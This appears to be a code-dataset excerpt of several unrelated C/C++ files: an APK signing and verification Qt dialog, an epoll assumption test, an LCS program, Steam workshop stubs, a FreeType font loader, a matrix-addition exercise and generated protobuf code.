qDebug()<<"成功签名生成apk"<<endl;
//ui->textEdit->append(QString::fromLocal8Bit("签名成功!%1 ==> %2").arg(apkpath).arg(outputapk_path));
#ifdef _WIN32
emit OnMsgSignal(0,QString::fromLocal8Bit("签名成功!%1 ==> %2").arg(apkpath).arg(outputapk_path));
#else
emit OnMsgSignal(0,QString::fromLocal8Bit("Signature success!%1 ==> %2").arg(apkpath).arg(outputapk_path));
#endif
}else{
QByteArray all=process_java.readAll();
if(all.isEmpty())
{
all=process.readAllStandardOutput();
if(all.isEmpty())
{
all=process.readAllStandardError();
}
}
QString cmd_result=QString::fromLocal8Bit(all.data());
#ifdef _WIN32
QString result=QString::fromLocal8Bit("签名失败!%1 ==> %2 msg:%3").arg(apkpath).arg(outputapk_path).arg(cmd_result);
#else
QString result=QString::fromLocal8Bit("Signature failure!%1 ==> %2 msg:%3").arg(apkpath).arg(outputapk_path).arg(cmd_result);
#endif
qDebug()<<result<<endl;
//ui->textEdit->append(result);
emit OnMsgSignal(0,result);
}
process_java.close();
}
emit OnMsgSignal(0,"finish!");
}
void Dialog::OnVerifySignature()
{
// QMessageBox::information(this, QString::fromLocal8Bit("提示"), QString::fromLocal8Bit("OnVerifySignature"));
if(fileList.size()==0)
{
#ifdef _WIN32
QMessageBox::information(this, QString::fromLocal8Bit("提示"), QString::fromLocal8Bit("没有拖入apk"));
#else
QMessageBox::information(this, QString::fromLocal8Bit("提示"), QString::fromLocal8Bit("Not drag into the APK"));
#endif
return ;
}
foreach(QString file, fileList) {
QString apkpath=GetCorrectInput(file);
//QMessageBox::information(this, QString::fromLocal8Bit("提示"), apkpath);
//查看apk签名 jarsigner -verify -verbose -certs baidusdk.apk
QString cmd="jarsigner -verify -verbose -certs "+apkpath;
qDebug()<<cmd<<endl;
QProcess process;
process.start(cmd);
process.waitForFinished();
QByteArray all=process.readAll();
if(all.isEmpty())
{
all=process.readAllStandardOutput();
if(all.isEmpty())
{
all=process.readAllStandardError();
}
}
cout<<string(all.data())<<endl;
QString result=QString::fromLocal8Bit(all.data());
qDebug()<<"result="<<result<<endl;
QString title=QString::fromLocal8Bit("提示:")+file;
QMessageBox::information(this,title ,result);
}
}
void Dialog::OnClearLog()
{
ui->textEdit->setText("");
}
void Dialog::OnSelectAPK()
{
QString filename;
filename = QFileDialog::getOpenFileName(this,
QString::fromLocal8Bit("选择APK文件"), "",QString::fromLocal8Bit("APK (*.apk *.jar)")); //选择路径
if(filename.isEmpty())
{
return;
}else
{
fileList.append(filename);
// ui->textEdit->append(filename);
emit OnMsgSignal(0,filename);
if(fileList.size()>0)
{
MyThread* mythread=new MyThread(this);
mythread->start();
}
}
//ui->textEdit->setText("select");
}
| 13,275 | 4,764 |
/* epoll_test.cc
Wolfgang Sourdeau, 17 November 2014
Copyright (c) 2014 Datacratic. All rights reserved.
Assumption tests for epoll
*/
#define BOOST_TEST_MAIN
#define BOOST_TEST_DYN_LINK
#include <fcntl.h>
#include <unistd.h>
#include <sys/epoll.h>
#include <atomic>
#include <iostream>
#include <thread>
#include <boost/test/unit_test.hpp>
#include <jml/arch/exception.h>
#include <jml/arch/futex.h>
#include <jml/arch/timers.h>
#include <jml/utils/exc_assert.h>
using namespace std;
namespace {
#if 1
/* Assumption test - this disproves the race condition initially suspected
* with EPOLLONESHOT in the following scenario:
- armed fd
- (data received)
- epoll_wait returns due to armed fd and data received
- read fd
- (data received)
- rearmed fd
- epoll_wait waits indefinitely due to data emitted before fd rearmed fd
*/
void thread1Fn(atomic<int> & stage, int epollFd, int pipeFds[2])
{
uint32_t readData;
struct epoll_event armEvent, event;
armEvent.events = EPOLLIN | EPOLLONESHOT;
::fprintf(stderr, "thread 1: arming fd\n");
int rc = ::epoll_ctl(epollFd, EPOLL_CTL_ADD, pipeFds[0], &armEvent);
if (rc == -1) {
throw ML::Exception(errno, "epoll_ctl");
}
stage = 1; ML::futex_wake(stage);
::fprintf(stderr, "thread 1: waiting 1\n");
while (true) {
rc = ::epoll_wait(epollFd, &event, 1, -1);
if (rc == -1) {
if (errno == EINTR) {
continue;
}
throw ML::Exception(errno, "epoll_wait");
}
break;
}
::fprintf(stderr, "thread 1: reading 1\n");
rc = ::read(pipeFds[0], &readData, sizeof(readData));
if (rc == -1) {
throw ML::Exception(errno, "read");
}
ExcAssertEqual(rc, sizeof(readData));
ExcAssertEqual(readData, 1);
ML::sleep(1.0);
::fprintf(stderr, "thread 1: reading 2\n");
rc = ::read(pipeFds[0], &readData, sizeof(readData));
if (rc == -1) {
throw ML::Exception(errno, "read");
}
ExcAssertEqual(rc, sizeof(readData));
ExcAssertEqual(readData, 0x1fffffff);
ML::sleep(1.0);
rc = ::read(pipeFds[0], &readData, sizeof(readData));
ExcAssert(rc == -1);
ExcAssert(errno == EWOULDBLOCK);
stage = 2; ML::futex_wake(stage);
::fprintf(stderr,
"thread 1: data read, awaiting final notification from thread"
" 2\n");
while (stage.load() != 3) {
ML::futex_wait(stage, 2);
}
::fprintf(stderr,
"thread 1: notified of final payload from thread 2\n");
ML::sleep(1.0);
::fprintf(stderr, "thread 1: rearming\n");
rc = ::epoll_ctl(epollFd, EPOLL_CTL_MOD, pipeFds[0], &armEvent);
if (rc == -1) {
throw ML::Exception(errno, "epoll_ctl");
}
::fprintf(stderr, "thread 1: epoll_wait for final payload\n");
while (true) {
rc = ::epoll_wait(epollFd, &event, 1, 2000);
if (rc == -1) {
if (errno == EINTR) {
continue;
}
throw ML::Exception(errno, "epoll_wait");
}
else if (rc == 0)
::fprintf(stderr, "thread 1: second epoll wait has no event\n");
else if (rc > 0)
::fprintf(stderr, "thread 1: second epoll wait has %d events\n",
rc);
break;
}
/* This proves that the data written in thread 2 was properly received
despite being sent before the rearming of our end of the pipe. */
BOOST_CHECK_EQUAL(rc, 1);
}
void thread2Fn(atomic<int> & stage, int epollFd, int pipeFds[2])
{
::fprintf(stderr, "thread 2: initial wait for thread1\n");
while (stage.load() != 1) {
ML::futex_wait(stage, 0);
}
uint32_t writeData(1);
int rc = ::write(pipeFds[1], &writeData, sizeof(writeData));
if (rc == -1) {
throw ML::Exception(errno, "write");
}
ExcAssert(rc == sizeof(writeData));
::fprintf(stderr, "thread 2: payload 1 written\n");
writeData = 0x1fffffff;
rc = ::write(pipeFds[1], &writeData, sizeof(writeData));
if (rc == -1) {
throw ML::Exception(errno, "write");
}
ExcAssert(rc == sizeof(writeData));
::fprintf(stderr, "thread 2: payload 2 written\n");
::fprintf(stderr, "thread 2: waiting thread 1\n");
while (stage.load() != 2) {
ML::futex_wait(stage, 1);
}
::fprintf(stderr, "thread 2: thread1 done reading, writing again\n");
writeData = 0x12345678;
rc = ::write(pipeFds[1], &writeData, sizeof(writeData));
if (rc == -1) {
throw ML::Exception(errno, "write");
}
ExcAssert(rc == sizeof(writeData));
::fprintf(stderr, "thread 2: payload 3 written\n");
::fprintf(stderr, "thread 2: writing complete, notifying thread 1\n");
stage++; ML::futex_wake(stage);
}
}
BOOST_AUTO_TEST_CASE( test_epolloneshot )
{
int epollFd = ::epoll_create(666);
if (epollFd == -1) {
throw ML::Exception(errno, "epoll_create");
}
int pipeFds[2];
if (::pipe2(pipeFds, O_NONBLOCK) == -1) {
throw ML::Exception(errno, "pipe2");
}
atomic<int> stage(0);
/* receiving thread */
auto thread1Lda = [&] () {
thread1Fn(stage, epollFd, pipeFds);
::fprintf(stderr, "thread1 done\n");
};
thread thread1(thread1Lda);
/* sending thread */
auto thread2Lda = [&] () {
thread2Fn(stage, epollFd, pipeFds);
::fprintf(stderr, "thread 2 done\n");
};
thread thread2(thread2Lda);
thread2.join();
thread1.join();
::close(pipeFds[0]);
::close(pipeFds[1]);
::close(epollFd);
}
#endif
| 5,624 | 2,153 |
/* Implementation of LCS problem using Dynamic Programming*/
#include <bits/stdc++.h>
using namespace std;
void lcs(string X, string Y){
int m = X.length();
int n = Y.length();
int L[m+1][n+1];
for (int i=0; i<=m; i++){
for (int j=0; j<=n; j++){
if (i == 0 || j == 0)
L[i][j] = 0;
else if (X[i-1] == Y[j-1])
L[i][j] = L[i-1][j-1] + 1;
else
L[i][j] = max(L[i-1][j], L[i][j-1]);
}
}
int index = L[m][n];
char lcs[index+1];
lcs[index] = ' ';
int i = m, j = n;
while (i > 0 && j > 0){
if (X[i-1] == Y[j-1]){
lcs[index-1] = X[i-1];
i--;
j--;
index--;
}
else if (L[i-1][j] > L[i][j-1])
i--;
else
j--;
}
//output
cout << "LCS of " << X << " and " << Y << " is " << lcs;
}
int main(){
string a,b;
//input two strings
cin>>a;
cin>>b;
lcs(a,b);
return 0;
}
| 887 | 434 |
#include "steamwrap.h"
/*
vdynamic *CallbackHandler::EncodeDownloadItem(int *d) {
return nullptr;
}
vdynamic *CallbackHandler::EncodeItemInstalled(int *d) {
return nullptr;
}
*/
HL_PRIM varray *HL_NAME(get_subscribed_items)(){
printf("%s\n", __func__);
return nullptr;
}
HL_PRIM int HL_NAME(get_item_state)(vuid publishedFileID){
printf("%s\n", __func__);
return 0;
}
HL_PRIM bool HL_NAME(get_item_download_info)(vuid publishedFileID, double *downloaded, double *total ){
printf("%s\n", __func__);
return false;
}
HL_PRIM bool HL_NAME(download_item)(vuid publishedFileID, bool highPriority){
printf("%s\n", __func__);
return false;
}
HL_PRIM vdynamic *HL_NAME(get_item_install_info)(vuid publishedFileID){
printf("%s\n", __func__);
return NULL;
}
static void on_item_subscribed(vclosure *c, int *result, bool error) {
printf("%s\n", __func__);
}
HL_PRIM void* HL_NAME(subscribe_item)(vuid publishedFileID, vclosure *closure) {
printf("%s\n", __func__);
return nullptr;
}
HL_PRIM void* HL_NAME(unsubscribe_item)(vuid publishedFileID, vclosure *closure) {
printf("%s\n", __func__);
return nullptr;
}
DEFINE_PRIM(_ARR, get_subscribed_items, _NO_ARG);
DEFINE_PRIM(_I32, get_item_state, _UID);
DEFINE_PRIM(_BOOL, get_item_download_info, _UID _REF(_F64) _REF(_F64));
DEFINE_PRIM(_BOOL, download_item, _UID _BOOL);
DEFINE_PRIM(_DYN, get_item_install_info, _UID);
DEFINE_PRIM(_CRESULT, subscribe_item, _UID _CALLB(_UID));
DEFINE_PRIM(_CRESULT, unsubscribe_item, _UID _CALLB(_UID));
//-----------------------------------------------------------------------------------------------------------
// UGC QUERY
//-----------------------------------------------------------------------------------------------------------
HL_PRIM vuid HL_NAME(ugc_query_create_all_request)(int queryType, int matchingUGCType, int creatorAppID, int consumerAppID, int page){
printf("%s\n", __func__);
return nullptr;
}
HL_PRIM vuid HL_NAME(ugc_query_create_user_request)(int uid, int listType, int matchingUGCType, int sortOrder, int creatorAppID, int consumerAppID, int page) {
printf("%s\n", __func__);
return nullptr;
}
HL_PRIM vuid HL_NAME(ugc_query_create_details_request)(varray *fileIDs){
printf("%s\n", __func__);
return nullptr;
}
HL_PRIM bool HL_NAME(ugc_query_set_language)(vuid handle, vbyte *lang) {
printf("%s\n", __func__);
return false;
}
HL_PRIM bool HL_NAME(ugc_query_set_search_text)(vuid handle, vbyte *search) {
printf("%s\n", __func__);
return false;
}
HL_PRIM bool HL_NAME(ugc_query_add_required_tag)(vuid handle, vbyte *tagName) {
printf("%s\n", __func__);
return false;
}
HL_PRIM bool HL_NAME(ugc_query_add_required_key_value_tag)(vuid handle, vbyte *pKey, vbyte *pValue) {
printf("%s\n", __func__);
return false;
}
HL_PRIM bool HL_NAME(ugc_query_add_excluded_tag)(vuid handle, vbyte *tagName) {
printf("%s\n", __func__);
return false;
}
HL_PRIM bool HL_NAME(ugc_query_set_return_metadata)(vuid handle, bool returnMetadata) {
printf("%s\n", __func__);
return false;
}
HL_PRIM bool HL_NAME(ugc_query_set_return_key_value_tags)(vuid handle, bool returnKeyValueTags) {
printf("%s\n", __func__);
return false;
}
HL_PRIM bool HL_NAME(ugc_query_set_return_children)(vuid handle, bool returnChildren) {
printf("%s\n", __func__);
return false;
}
static void on_query_completed(vclosure *c, int *result, bool error) {
printf("%s\n", __func__);
}
HL_PRIM void* HL_NAME(ugc_query_send_request)(vuid cHandle, vclosure *closure){
printf("%s\n", __func__);
return nullptr;
}
HL_PRIM bool HL_NAME(ugc_query_release_request)(vuid cHandle) {
printf("%s\n", __func__);
return false;
}
HL_PRIM varray *HL_NAME(ugc_query_get_key_value_tags)(vuid cHandle, int iIndex, int maxValueLength ){
printf("%s\n", __func__);
return nullptr;
}
HL_PRIM varray *HL_NAME(ugc_query_get_children)(vuid cHandle, int iIndex, int maxChildren) {
printf("%s\n", __func__);
return nullptr;
}
HL_PRIM vbyte *HL_NAME(ugc_query_get_metadata)(vuid sHandle, int iIndex){
printf("%s\n", __func__);
return nullptr;
}
HL_PRIM vdynamic *HL_NAME(ugc_query_get_result)(vuid sHandle, int iIndex){
printf("%s\n", __func__);
return nullptr;
}
DEFINE_PRIM(_UID, ugc_query_create_all_request, _I32 _I32 _I32 _I32 _I32);
DEFINE_PRIM(_UID, ugc_query_create_user_request, _I32 _I32 _I32 _I32 _I32 _I32 _I32);
DEFINE_PRIM(_UID, ugc_query_create_details_request, _ARR);
DEFINE_PRIM(_BOOL, ugc_query_set_language, _UID _BYTES);
DEFINE_PRIM(_BOOL, ugc_query_set_search_text, _UID _BYTES);
DEFINE_PRIM(_BOOL, ugc_query_add_required_tag, _UID _BYTES);
DEFINE_PRIM(_BOOL, ugc_query_add_required_key_value_tag, _UID _BYTES _BYTES);
DEFINE_PRIM(_BOOL, ugc_query_add_excluded_tag, _UID _BYTES);
DEFINE_PRIM(_BOOL, ugc_query_set_return_metadata, _UID _BOOL);
DEFINE_PRIM(_BOOL, ugc_query_set_return_key_value_tags, _UID _BOOL);
DEFINE_PRIM(_BOOL, ugc_query_set_return_children, _UID _BOOL);
DEFINE_PRIM(_CRESULT, ugc_query_send_request, _UID _CALLB(_DYN));
DEFINE_PRIM(_BOOL, ugc_query_release_request, _UID);
DEFINE_PRIM(_ARR, ugc_query_get_key_value_tags, _UID _I32 _I32);
DEFINE_PRIM(_ARR, ugc_query_get_children, _UID _I32 _I32);
DEFINE_PRIM(_BYTES, ugc_query_get_metadata, _UID _I32);
DEFINE_PRIM(_DYN, ugc_query_get_result, _UID _I32);
//-----------------------------------------------------------------------------------------------------------
// UGC UPDATE
//-----------------------------------------------------------------------------------------------------------
static void on_item_created(vclosure *c, int *result, bool error) {
printf("%s\n", __func__);
}
HL_PRIM void* HL_NAME(ugc_item_create)(int appId, vclosure *closure) {
printf("%s\n", __func__);
return nullptr;
}
HL_PRIM vuid HL_NAME(ugc_item_start_update)(int id, vuid itemID) {
printf("%s\n", __func__);
return nullptr;
}
static void on_item_updated(vclosure *c, int *result, bool error) {
printf("%s\n", __func__);
}
HL_PRIM void* HL_NAME(ugc_item_submit_update)(vuid updateHandle, vbyte *changeNotes, vclosure *closure){
printf("%s\n", __func__);
return nullptr;
}
HL_PRIM bool HL_NAME(ugc_item_set_update_language)(vuid updateHandle, vbyte *lang) {
printf("%s\n", __func__);
return false;
}
HL_PRIM bool HL_NAME(ugc_item_set_title)(vuid updateHandle, vbyte *title) {
printf("%s\n", __func__);
return false;
}
HL_PRIM bool HL_NAME(ugc_item_set_description)(vuid updateHandle, vbyte *description){
printf("%s\n", __func__);
return false;
}
HL_PRIM bool HL_NAME(ugc_item_set_metadata)(vuid updateHandle, vbyte *metadata) {
printf("%s\n", __func__);
return false;
}
HL_PRIM bool HL_NAME(ugc_item_set_tags)(vuid updateHandle, varray *tags){
printf("%s\n", __func__);
return false;
}
HL_PRIM bool HL_NAME(ugc_item_add_key_value_tag)(vuid updateHandle, vbyte *keyStr, vbyte *valueStr){
printf("%s\n", __func__);
return false;
}
HL_PRIM bool HL_NAME(ugc_item_remove_key_value_tags)(vuid updateHandle, vbyte *keyStr) {
printf("%s\n", __func__);
return false;
}
HL_PRIM bool HL_NAME(ugc_item_set_visibility)(vuid updateHandle, int visibility) {
printf("%s\n", __func__);
return false;
}
HL_PRIM bool HL_NAME(ugc_item_set_content)(vuid updateHandle, vbyte *path){
printf("%s\n", __func__);
return false;
}
HL_PRIM bool HL_NAME(ugc_item_set_preview_image)(vuid updateHandle, vbyte *path){
printf("%s\n", __func__);
return false;
}
DEFINE_PRIM(_CRESULT, ugc_item_create, _I32 _CALLB(_DYN));
DEFINE_PRIM(_UID, ugc_item_start_update, _I32 _UID);
DEFINE_PRIM(_CRESULT, ugc_item_submit_update, _UID _BYTES _CALLB(_BOOL));
DEFINE_PRIM(_BOOL, ugc_item_set_update_language, _UID _BYTES);
DEFINE_PRIM(_BOOL, ugc_item_set_title, _UID _BYTES);
DEFINE_PRIM(_BOOL, ugc_item_set_description, _UID _BYTES);
DEFINE_PRIM(_BOOL, ugc_item_set_metadata, _UID _BYTES);
DEFINE_PRIM(_BOOL, ugc_item_set_tags, _UID _ARR);
DEFINE_PRIM(_BOOL, ugc_item_add_key_value_tag, _UID _BYTES _BYTES);
DEFINE_PRIM(_BOOL, ugc_item_remove_key_value_tags, _UID _BYTES);
DEFINE_PRIM(_BOOL, ugc_item_set_visibility, _UID _I32);
DEFINE_PRIM(_BOOL, ugc_item_set_content, _UID _BYTES);
DEFINE_PRIM(_BOOL, ugc_item_set_preview_image, _UID _BYTES);
HL_PRIM void HL_NAME(file_share)(){
printf("%s\n", __func__);
}
DEFINE_PRIM(_VOID, file_share, _NO_ARG);
| 8,227 | 3,312 |
#include "FontType.hpp"
#include <tiny_msdf.hpp>
#include <ft2build.h>
#include FT_FREETYPE_H
#include "Files/Files.hpp"
#include "Resources/Resources.hpp"
#include "Graphics/Graphics.hpp"
namespace acid {
static const std::wstring_view NEHE = L" \t\r\nABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890\"!`?'.,;:()[]{}<>|/@\\^$-%+=#_&~*";
template<typename T>
constexpr double F26DOT6_TO_DOUBLE(T x) {
return 1.0 / 64.0 * double(x);
}
std::shared_ptr<FontType> FontType::Create(const Node &node) {
if (auto resource = Resources::Get()->Find<FontType>(node))
return resource;
auto result = std::make_shared<FontType>("", 0, false);
Resources::Get()->Add(node, std::dynamic_pointer_cast<Resource>(result));
node >> *result;
result->Load();
return result;
}
std::shared_ptr<FontType> FontType::Create(const std::filesystem::path &filename, std::size_t size) {
FontType temp(filename, size, false);
Node node;
node << temp;
return Create(node);
}
FontType::FontType(std::filesystem::path filename, std::size_t size, bool load) :
filename(std::move(filename)),
size(size) {
if (load)
FontType::Load();
}
FontType::~FontType() {
Close();
}
const Node &operator>>(const Node &node, FontType &fontType) {
node["filename"].Get(fontType.filename);
node["size"].Get(fontType.size);
return node;
}
Node &operator<<(Node &node, const FontType &fontType) {
node["filename"].Set(fontType.filename);
node["size"].Set(fontType.size);
return node;
}
void FontType::Open() {
if (auto error = FT_Init_FreeType(&library))
throw std::runtime_error("Freetype failed to initialize");
auto fileLoaded = Files::Read(filename);
if (!fileLoaded) {
Log::Error("Font could not be loaded: ", filename, '\n');
return;
}
if (FT_New_Memory_Face(library, reinterpret_cast<FT_Byte *>(fileLoaded->data()), static_cast<FT_Long>(fileLoaded->size()), 0, &face) != 0)
throw std::runtime_error("Freetype failed to create face from memory");
// Multiply pixel size by 64 as FreeType uses points instead of pixels internally.
if (FT_Set_Char_Size(face, size * 64, size * 64, 96, 96) != 0)
throw std::runtime_error("Freetype failed to set char size");
}
void FontType::Close() {
if (!IsOpen())
return;
FT_Done_Face(face);
face = nullptr;
FT_Done_FreeType(library);
library = nullptr;
}
void FontType::Load() {
if (filename.empty()) return;
#ifdef ACID_DEBUG
auto debugStart = Time::Now();
#endif
Open();
auto layerCount = NEHE.size();
//image = std::make_unique<Image2dArray>(Vector2ui(size, size), layerCount, VK_FORMAT_R32G32B32A32_SFLOAT);
tinymsdf::Bitmap<float, 4> mtsdf(size, size);
glyphs.resize(glyphs.size() + layerCount);
for (auto c : NEHE) {
bool success = !tinymsdf::GenerateMTSDF(mtsdf, face, c);
auto id = indices.size();
indices[c] = id;
glyphs[id].advance = F26DOT6_TO_DOUBLE(face->glyph->metrics.horiAdvance);
glyphs[id].x = F26DOT6_TO_DOUBLE(face->glyph->metrics.horiBearingX);
glyphs[id].y = F26DOT6_TO_DOUBLE(face->glyph->metrics.horiBearingY);
glyphs[id].w = F26DOT6_TO_DOUBLE(face->glyph->metrics.width);
glyphs[id].h = F26DOT6_TO_DOUBLE(face->glyph->metrics.height);
glyphs[id].pxRange = 2;
//if (success)
// image->SetPixels(mtsdf.pixels, id);
}
Close();
#ifdef ACID_DEBUG
Log::Out("Font Type ", filename, " loaded ", glyphs.size(), " glyphs in ", (Time::Now() - debugStart).AsMilliseconds<float>(), "ms\n");
#endif
}
std::optional<FontType::Glyph> FontType::GetGlyph(wchar_t ascii) const {
auto it = indices.find(ascii);
if (it != indices.end()) {
return glyphs[it->second];
}
return std::nullopt;
}
}
| 3,617 | 1,471 |
/*
求四名同学在三次考试中的成绩
*/
#include <stdio.h>
void mat_add(const int a[4][3], const int b[4][3], int c[4][3]);
void mat_print(const int m[4][3]);
int main(void)
{
int sore1[4][3] = { {23, 13,23}, {23, 67, 89}, {34, 56, 67}, {89,98, 32} };
int sore2[4][3] = { {93, 43,33}, {23, 63, 82}, {34, 66, 87}, {69,93, 39} };
int sum[4][3];
mat_add(sore1, sore2, sum);
printf("第一次考试的分数\n"); mat_print(sore1);
printf("第二次考试的分数\n"); mat_print(sore2);
puts("总分"); mat_print(sum);
return 0;
}
void mat_add(const int a[4][3], const int b[4][3], int c[4][3])
{
int i, j;
for (i = 0; i < 4; i++)
for (j = 0; j < 3; j++)
c[i][j] = a[i][j] + b[i][j]; // 那个也是这个样子吗?
}
void mat_print(const int m[4][3])
{
int i, j;
for (i = 0; i < 4; i++) {
for (j = 0; j < 3; j++)
printf("%4d", m[i][j]);
putchar('\n');
}
}
| 855 | 528 |
// Generated by the protocol buffer compiler. DO NOT EDIT!
// source: prio/jni/message.proto
#include "prio/jni/message.pb.h"
#include <algorithm>
#include <google/protobuf/io/coded_stream.h>
#include <google/protobuf/extension_set.h>
#include <google/protobuf/wire_format_lite.h>
#include <google/protobuf/descriptor.h>
#include <google/protobuf/generated_message_reflection.h>
#include <google/protobuf/reflection_ops.h>
#include <google/protobuf/wire_format.h>
// @@protoc_insertion_point(includes)
#include <google/protobuf/port_def.inc>
extern PROTOBUF_INTERNAL_EXPORT_prio_2fproto_2falgorithm_5fparameters_2eproto ::PROTOBUF_NAMESPACE_ID::internal::SCCInfo<0> scc_info_PrioAlgorithmParameters_prio_2fproto_2falgorithm_5fparameters_2eproto;
extern PROTOBUF_INTERNAL_EXPORT_prio_2fjni_2fmessage_2eproto ::PROTOBUF_NAMESPACE_ID::internal::SCCInfo<0> scc_info_ResponseStatus_prio_2fjni_2fmessage_2eproto;
namespace private_statistics {
namespace prio {
namespace proto {
class ResponseStatusDefaultTypeInternal {
public:
::PROTOBUF_NAMESPACE_ID::internal::ExplicitlyConstructed<ResponseStatus> _instance;
} _ResponseStatus_default_instance_;
class CreatePacketsResponseDefaultTypeInternal {
public:
::PROTOBUF_NAMESPACE_ID::internal::ExplicitlyConstructed<CreatePacketsResponse> _instance;
} _CreatePacketsResponse_default_instance_;
class CreatePacketsParametersDefaultTypeInternal {
public:
::PROTOBUF_NAMESPACE_ID::internal::ExplicitlyConstructed<CreatePacketsParameters> _instance;
} _CreatePacketsParameters_default_instance_;
} // namespace proto
} // namespace prio
} // namespace private_statistics
static void InitDefaultsscc_info_CreatePacketsParameters_prio_2fjni_2fmessage_2eproto() {
GOOGLE_PROTOBUF_VERIFY_VERSION;
{
void* ptr = &::private_statistics::prio::proto::_CreatePacketsParameters_default_instance_;
new (ptr) ::private_statistics::prio::proto::CreatePacketsParameters();
::PROTOBUF_NAMESPACE_ID::internal::OnShutdownDestroyMessage(ptr);
}
::private_statistics::prio::proto::CreatePacketsParameters::InitAsDefaultInstance();
}
::PROTOBUF_NAMESPACE_ID::internal::SCCInfo<1> scc_info_CreatePacketsParameters_prio_2fjni_2fmessage_2eproto =
{{ATOMIC_VAR_INIT(::PROTOBUF_NAMESPACE_ID::internal::SCCInfoBase::kUninitialized), 1, 0, InitDefaultsscc_info_CreatePacketsParameters_prio_2fjni_2fmessage_2eproto}, {
&scc_info_PrioAlgorithmParameters_prio_2fproto_2falgorithm_5fparameters_2eproto.base,}};
static void InitDefaultsscc_info_CreatePacketsResponse_prio_2fjni_2fmessage_2eproto() {
GOOGLE_PROTOBUF_VERIFY_VERSION;
{
void* ptr = &::private_statistics::prio::proto::_CreatePacketsResponse_default_instance_;
new (ptr) ::private_statistics::prio::proto::CreatePacketsResponse();
::PROTOBUF_NAMESPACE_ID::internal::OnShutdownDestroyMessage(ptr);
}
::private_statistics::prio::proto::CreatePacketsResponse::InitAsDefaultInstance();
}
::PROTOBUF_NAMESPACE_ID::internal::SCCInfo<1> scc_info_CreatePacketsResponse_prio_2fjni_2fmessage_2eproto =
{{ATOMIC_VAR_INIT(::PROTOBUF_NAMESPACE_ID::internal::SCCInfoBase::kUninitialized), 1, 0, InitDefaultsscc_info_CreatePacketsResponse_prio_2fjni_2fmessage_2eproto}, {
&scc_info_ResponseStatus_prio_2fjni_2fmessage_2eproto.base,}};
static void InitDefaultsscc_info_ResponseStatus_prio_2fjni_2fmessage_2eproto() {
GOOGLE_PROTOBUF_VERIFY_VERSION;
{
void* ptr = &::private_statistics::prio::proto::_ResponseStatus_default_instance_;
new (ptr) ::private_statistics::prio::proto::ResponseStatus();
::PROTOBUF_NAMESPACE_ID::internal::OnShutdownDestroyMessage(ptr);
}
::private_statistics::prio::proto::ResponseStatus::InitAsDefaultInstance();
}
::PROTOBUF_NAMESPACE_ID::internal::SCCInfo<0> scc_info_ResponseStatus_prio_2fjni_2fmessage_2eproto =
{{ATOMIC_VAR_INIT(::PROTOBUF_NAMESPACE_ID::internal::SCCInfoBase::kUninitialized), 0, 0, InitDefaultsscc_info_ResponseStatus_prio_2fjni_2fmessage_2eproto}, {}};
static ::PROTOBUF_NAMESPACE_ID::Metadata file_level_metadata_prio_2fjni_2fmessage_2eproto[3];
static const ::PROTOBUF_NAMESPACE_ID::EnumDescriptor* file_level_enum_descriptors_prio_2fjni_2fmessage_2eproto[1];
static constexpr ::PROTOBUF_NAMESPACE_ID::ServiceDescriptor const** file_level_service_descriptors_prio_2fjni_2fmessage_2eproto = nullptr;
const ::PROTOBUF_NAMESPACE_ID::uint32 TableStruct_prio_2fjni_2fmessage_2eproto::offsets[] PROTOBUF_SECTION_VARIABLE(protodesc_cold) = {
PROTOBUF_FIELD_OFFSET(::private_statistics::prio::proto::ResponseStatus, _has_bits_),
PROTOBUF_FIELD_OFFSET(::private_statistics::prio::proto::ResponseStatus, _internal_metadata_),
~0u, // no _extensions_
~0u, // no _oneof_case_
~0u, // no _weak_field_map_
PROTOBUF_FIELD_OFFSET(::private_statistics::prio::proto::ResponseStatus, status_code_),
PROTOBUF_FIELD_OFFSET(::private_statistics::prio::proto::ResponseStatus, error_details_),
1,
0,
PROTOBUF_FIELD_OFFSET(::private_statistics::prio::proto::CreatePacketsResponse, _has_bits_),
PROTOBUF_FIELD_OFFSET(::private_statistics::prio::proto::CreatePacketsResponse, _internal_metadata_),
~0u, // no _extensions_
~0u, // no _oneof_case_
~0u, // no _weak_field_map_
PROTOBUF_FIELD_OFFSET(::private_statistics::prio::proto::CreatePacketsResponse, response_status_),
PROTOBUF_FIELD_OFFSET(::private_statistics::prio::proto::CreatePacketsResponse, share_),
0,
~0u,
PROTOBUF_FIELD_OFFSET(::private_statistics::prio::proto::CreatePacketsParameters, _has_bits_),
PROTOBUF_FIELD_OFFSET(::private_statistics::prio::proto::CreatePacketsParameters, _internal_metadata_),
~0u, // no _extensions_
~0u, // no _oneof_case_
~0u, // no _weak_field_map_
PROTOBUF_FIELD_OFFSET(::private_statistics::prio::proto::CreatePacketsParameters, prio_parameters_),
PROTOBUF_FIELD_OFFSET(::private_statistics::prio::proto::CreatePacketsParameters, public_keys_),
PROTOBUF_FIELD_OFFSET(::private_statistics::prio::proto::CreatePacketsParameters, data_bits_),
0,
~0u,
~0u,
};
static const ::PROTOBUF_NAMESPACE_ID::internal::MigrationSchema schemas[] PROTOBUF_SECTION_VARIABLE(protodesc_cold) = {
{ 0, 7, sizeof(::private_statistics::prio::proto::ResponseStatus)},
{ 9, 16, sizeof(::private_statistics::prio::proto::CreatePacketsResponse)},
{ 18, 26, sizeof(::private_statistics::prio::proto::CreatePacketsParameters)},
};
static ::PROTOBUF_NAMESPACE_ID::Message const * const file_default_instances[] = {
reinterpret_cast<const ::PROTOBUF_NAMESPACE_ID::Message*>(&::private_statistics::prio::proto::_ResponseStatus_default_instance_),
reinterpret_cast<const ::PROTOBUF_NAMESPACE_ID::Message*>(&::private_statistics::prio::proto::_CreatePacketsResponse_default_instance_),
reinterpret_cast<const ::PROTOBUF_NAMESPACE_ID::Message*>(&::private_statistics::prio::proto::_CreatePacketsParameters_default_instance_),
};
const char descriptor_table_protodef_prio_2fjni_2fmessage_2eproto[] PROTOBUF_SECTION_VARIABLE(protodesc_cold) =
"\n\026prio/jni/message.proto\022\035private_statis"
"tics.prio.proto\032%prio/proto/algorithm_pa"
"rameters.proto\"\350\001\n\016ResponseStatus\022^\n\013sta"
"tus_code\030\001 \001(\01628.private_statistics.prio"
".proto.ResponseStatus.StatusCode:\017UNKNOW"
"N_FAILURE\022\025\n\rerror_details\030\002 \001(\t\"_\n\nStat"
"usCode\022\023\n\017UNKNOWN_FAILURE\020\000\022\006\n\002OK\020\001\022\025\n\021C"
"ANCELLED_FAILURE\020\002\022\035\n\031INVALID_PARAMETER_"
"FAILURE\020\003\"n\n\025CreatePacketsResponse\022F\n\017re"
"sponse_status\030\001 \001(\0132-.private_statistics"
